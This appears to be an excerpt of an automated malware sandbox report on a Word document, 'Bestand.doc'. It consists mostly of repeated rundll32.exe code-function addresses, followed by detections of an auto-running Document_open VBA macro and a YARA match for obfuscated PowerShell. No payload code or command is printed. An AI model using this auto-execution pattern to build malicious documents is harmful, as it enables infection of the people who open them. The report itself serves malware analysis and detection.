Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007B8F49 9_2_007B8F49
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007B9B45 9_2_007B9B45
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007ABB3A 9_2_007ABB3A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007A153C 9_2_007A153C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007B0D33 9_2_007B0D33
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007AF536 9_2_007AF536
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007B511B 9_2_007B511B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007B7F1F 9_2_007B7F1F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007B5D1D 9_2_007B5D1D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007B8D1C 9_2_007B8D1C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007AB112 9_2_007AB112
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007B2B16 9_2_007B2B16
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007B0F0C 9_2_007B0F0C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007B7D03 9_2_007B7D03
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007AD7EB 9_2_007AD7EB
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007B67E9 9_2_007B67E9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007B71EF 9_2_007B71EF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007B31E2 9_2_007B31E2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007B3FE7 9_2_007B3FE7
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007B1BDF 9_2_007B1BDF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007A9FDC 9_2_007A9FDC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007B6DB9 9_2_007B6DB9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007B61B8 9_2_007B61B8
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007A17AC 9_2_007A17AC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007B73AC 9_2_007B73AC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007A69A0 9_2_007A69A0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007A7998 9_2_007A7998
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007A6D9F 9_2_007A6D9F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007A839D 9_2_007A839D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007B878F 9_2_007B878F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007AF98C 9_2_007AF98C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_007B9586 9_2_007B9586
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0025B41F 10_2_0025B41F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00252C63 10_2_00252C63
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0025EE78 10_2_0025EE78
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0025568E 10_2_0025568E
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00263895 10_2_00263895
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0025C0C6 10_2_0025C0C6
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_002602C3 10_2_002602C3
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_002642DA 10_2_002642DA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00258736 10_2_00258736
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00257B63 10_2_00257B63
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00264B41 10_2_00264B41
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_002663C1 10_2_002663C1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00254A35 10_2_00254A35
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00259A37 10_2_00259A37
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00252A30 10_2_00252A30
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00267A0F 10_2_00267A0F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0026340A 10_2_0026340A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00265A61 10_2_00265A61
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0026687F 10_2_0026687F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0025F444 10_2_0025F444
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0025EA4C 10_2_0025EA4C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0025E05A 10_2_0025E05A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_002562A3 10_2_002562A3
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0026A0AF 10_2_0026A0AF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_002548BD 10_2_002548BD
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_002560B9 10_2_002560B9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_002580BA 10_2_002580BA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00251280 10_2_00251280
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0026889D 10_2_0026889D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_002588E5 10_2_002588E5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_002612E2 10_2_002612E2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_002626F5 10_2_002626F5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00251CFA 10_2_00251CFA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_002620C5 10_2_002620C5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_002596CD 10_2_002596CD
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00268ADC 10_2_00268ADC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0025F536 10_2_0025F536
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00260D33 10_2_00260D33
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0025153C 10_2_0025153C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0025BB3A 10_2_0025BB3A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00267D03 10_2_00267D03
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00260F0C 10_2_00260F0C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00262B16 10_2_00262B16
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0025B112 10_2_0025B112
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00267F1F 10_2_00267F1F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00268D1C 10_2_00268D1C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00265D1D 10_2_00265D1D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0026511B 10_2_0026511B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0025C769 10_2_0025C769
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00260B68 10_2_00260B68
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0025E377 10_2_0025E377
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00261773 10_2_00261773
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00255B79 10_2_00255B79
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00258F78 10_2_00258F78
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00269B45 10_2_00269B45
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00262349 10_2_00262349
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00268F49 10_2_00268F49
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00256754 10_2_00256754
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0025B75F 10_2_0025B75F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_002569A0 10_2_002569A0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_002517AC 10_2_002517AC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_002673AC 10_2_002673AC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_002661B8 10_2_002661B8
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00266DB9 10_2_00266DB9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00269586 10_2_00269586
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0026878F 10_2_0026878F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0025F98C 10_2_0025F98C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0025839D 10_2_0025839D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00256D9F 10_2_00256D9F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00257998 10_2_00257998
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00263FE7 10_2_00263FE7
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_002631E2 10_2_002631E2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_002671EF 10_2_002671EF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0025D7EB 10_2_0025D7EB
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_002667E9 10_2_002667E9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00261BDF 10_2_00261BDF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00259FDC 10_2_00259FDC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002DB41F 11_2_002DB41F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002D2C63 11_2_002D2C63
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002DEE78 11_2_002DEE78
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002D568E 11_2_002D568E
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002E3895 11_2_002E3895
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002DC0C6 11_2_002DC0C6
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002E02C3 11_2_002E02C3
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002E42DA 11_2_002E42DA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002D8736 11_2_002D8736
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002D7B63 11_2_002D7B63
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002E4B41 11_2_002E4B41
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002E63C1 11_2_002E63C1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002D4A35 11_2_002D4A35
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002D9A37 11_2_002D9A37
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002D2A30 11_2_002D2A30
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002E7A0F 11_2_002E7A0F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002E340A 11_2_002E340A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002E5A61 11_2_002E5A61
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002E687F 11_2_002E687F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002DEA4C 11_2_002DEA4C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002DF444 11_2_002DF444
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002DE05A 11_2_002DE05A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002EA0AF 11_2_002EA0AF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002D62A3 11_2_002D62A3
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002D48BD 11_2_002D48BD
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002D60B9 11_2_002D60B9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002D80BA 11_2_002D80BA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002D1280 11_2_002D1280
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002E889D 11_2_002E889D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002D88E5 11_2_002D88E5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002E12E2 11_2_002E12E2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002D1CFA 11_2_002D1CFA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002E26F5 11_2_002E26F5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002D96CD 11_2_002D96CD
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002E20C5 11_2_002E20C5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002E8ADC 11_2_002E8ADC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002D153C 11_2_002D153C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002DBB3A 11_2_002DBB3A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002DF536 11_2_002DF536
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002E0D33 11_2_002E0D33
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002E0F0C 11_2_002E0F0C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002E7D03 11_2_002E7D03
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002E7F1F 11_2_002E7F1F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002E8D1C 11_2_002E8D1C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002E5D1D 11_2_002E5D1D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002E511B 11_2_002E511B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002E2B16 11_2_002E2B16
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002DB112 11_2_002DB112
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002DC769 11_2_002DC769
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002E0B68 11_2_002E0B68
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002D5B79 11_2_002D5B79
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002D8F78 11_2_002D8F78
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002DE377 11_2_002DE377
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002E1773 11_2_002E1773
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002E2349 11_2_002E2349
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002E8F49 11_2_002E8F49
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002E9B45 11_2_002E9B45
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002DB75F 11_2_002DB75F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002D6754 11_2_002D6754
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002D17AC 11_2_002D17AC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002E73AC 11_2_002E73AC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002D69A0 11_2_002D69A0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002E61B8 11_2_002E61B8
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002E6DB9 11_2_002E6DB9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002E878F 11_2_002E878F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002DF98C 11_2_002DF98C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002E9586 11_2_002E9586
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002D839D 11_2_002D839D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002D6D9F 11_2_002D6D9F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002D7998 11_2_002D7998
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002E71EF 11_2_002E71EF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002DD7EB 11_2_002DD7EB
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002E67E9 11_2_002E67E9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002E3FE7 11_2_002E3FE7
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002E31E2 11_2_002E31E2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002E1BDF 11_2_002E1BDF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002D9FDC 11_2_002D9FDC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002CB41F 12_2_002CB41F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002C2C63 12_2_002C2C63
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002CEE78 12_2_002CEE78
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002C568E 12_2_002C568E
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002D3895 12_2_002D3895
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002CC0C6 12_2_002CC0C6
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002D02C3 12_2_002D02C3
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002D42DA 12_2_002D42DA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002C8736 12_2_002C8736
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002C7B63 12_2_002C7B63
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002D4B41 12_2_002D4B41
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002D63C1 12_2_002D63C1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002C4A35 12_2_002C4A35
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002C9A37 12_2_002C9A37
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002C2A30 12_2_002C2A30
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002D7A0F 12_2_002D7A0F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002D340A 12_2_002D340A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002D5A61 12_2_002D5A61
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002D687F 12_2_002D687F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002CEA4C 12_2_002CEA4C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002CF444 12_2_002CF444
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002CE05A 12_2_002CE05A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002DA0AF 12_2_002DA0AF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002C62A3 12_2_002C62A3
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002C48BD 12_2_002C48BD
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002C60B9 12_2_002C60B9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002C80BA 12_2_002C80BA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002C1280 12_2_002C1280
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002D889D 12_2_002D889D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002C88E5 12_2_002C88E5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002D12E2 12_2_002D12E2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002C1CFA 12_2_002C1CFA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002D26F5 12_2_002D26F5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002C96CD 12_2_002C96CD
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002D20C5 12_2_002D20C5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002D8ADC 12_2_002D8ADC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002C153C 12_2_002C153C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002CBB3A 12_2_002CBB3A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002CF536 12_2_002CF536
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002D0D33 12_2_002D0D33
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002D0F0C 12_2_002D0F0C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002D7D03 12_2_002D7D03
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002D5D1D 12_2_002D5D1D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002D8D1C 12_2_002D8D1C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002D7F1F 12_2_002D7F1F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002D511B 12_2_002D511B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002D2B16 12_2_002D2B16
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002CB112 12_2_002CB112
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002CC769 12_2_002CC769
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002D0B68 12_2_002D0B68
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002C8F78 12_2_002C8F78
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002C5B79 12_2_002C5B79
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002CE377 12_2_002CE377
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002D1773 12_2_002D1773
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002D2349 12_2_002D2349
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002D8F49 12_2_002D8F49
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002D9B45 12_2_002D9B45
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002CB75F 12_2_002CB75F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002C6754 12_2_002C6754
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002C17AC 12_2_002C17AC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002D73AC 12_2_002D73AC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002C69A0 12_2_002C69A0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002D6DB9 12_2_002D6DB9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002D61B8 12_2_002D61B8
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002CF98C 12_2_002CF98C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002D878F 12_2_002D878F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002D9586 12_2_002D9586
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002C839D 12_2_002C839D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002C6D9F 12_2_002C6D9F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002C7998 12_2_002C7998
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002D71EF 12_2_002D71EF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002D67E9 12_2_002D67E9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002CD7EB 12_2_002CD7EB
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002D3FE7 12_2_002D3FE7
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002D31E2 12_2_002D31E2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002C9FDC 12_2_002C9FDC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_002D1BDF 12_2_002D1BDF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_0022B41F 13_2_0022B41F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_00222C63 13_2_00222C63
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_0022EE78 13_2_0022EE78
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_0022568E 13_2_0022568E
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_00233895 13_2_00233895
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_002302C3 13_2_002302C3
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_0022C0C6 13_2_0022C0C6
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_002342DA 13_2_002342DA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_00228736 13_2_00228736
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_00227B63 13_2_00227B63
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_00234B41 13_2_00234B41
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_002363C1 13_2_002363C1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_00222A30 13_2_00222A30
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_00229A37 13_2_00229A37
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_00224A35 13_2_00224A35
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_0023340A 13_2_0023340A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_00237A0F 13_2_00237A0F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_00235A61 13_2_00235A61
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_0023687F 13_2_0023687F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_0022F444 13_2_0022F444
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_0022EA4C 13_2_0022EA4C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_0022E05A 13_2_0022E05A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_002262A3 13_2_002262A3
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_0023A0AF 13_2_0023A0AF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_002280BA 13_2_002280BA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_002260B9 13_2_002260B9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_002248BD 13_2_002248BD
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_00221280 13_2_00221280
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_0023889D 13_2_0023889D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_002312E2 13_2_002312E2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_002288E5 13_2_002288E5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_002326F5 13_2_002326F5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_00221CFA 13_2_00221CFA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_002320C5 13_2_002320C5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_002296CD 13_2_002296CD
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_00238ADC 13_2_00238ADC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_00230D33 13_2_00230D33
Document contains an embedded VBA macro which executes code when the document is opened / closed
Source: Bestand.doc OLE, VBA macro line: Private Sub Document_open()
Source: VBA code instrumentation OLE, VBA macro: Module Teh9tkv0p83u4g, Function Document_open Name: Document_open
Document contains embedded VBA macros
Source: Bestand.doc OLE indicator, VBA macros: true
Yara signature match
Source: 00000005.00000002.2092804988.00000000001B6000.00000004.00000001.sdmp, type: MEMORY Matched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = https://creativecommons.org/licenses/by-nc/4.0/, score =
Source: 00000005.00000002.2092937441.0000000001B86000.00000004.00000001.sdmp, type: MEMORY Matched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = https://creativecommons.org/licenses/by-nc/4.0/, score =
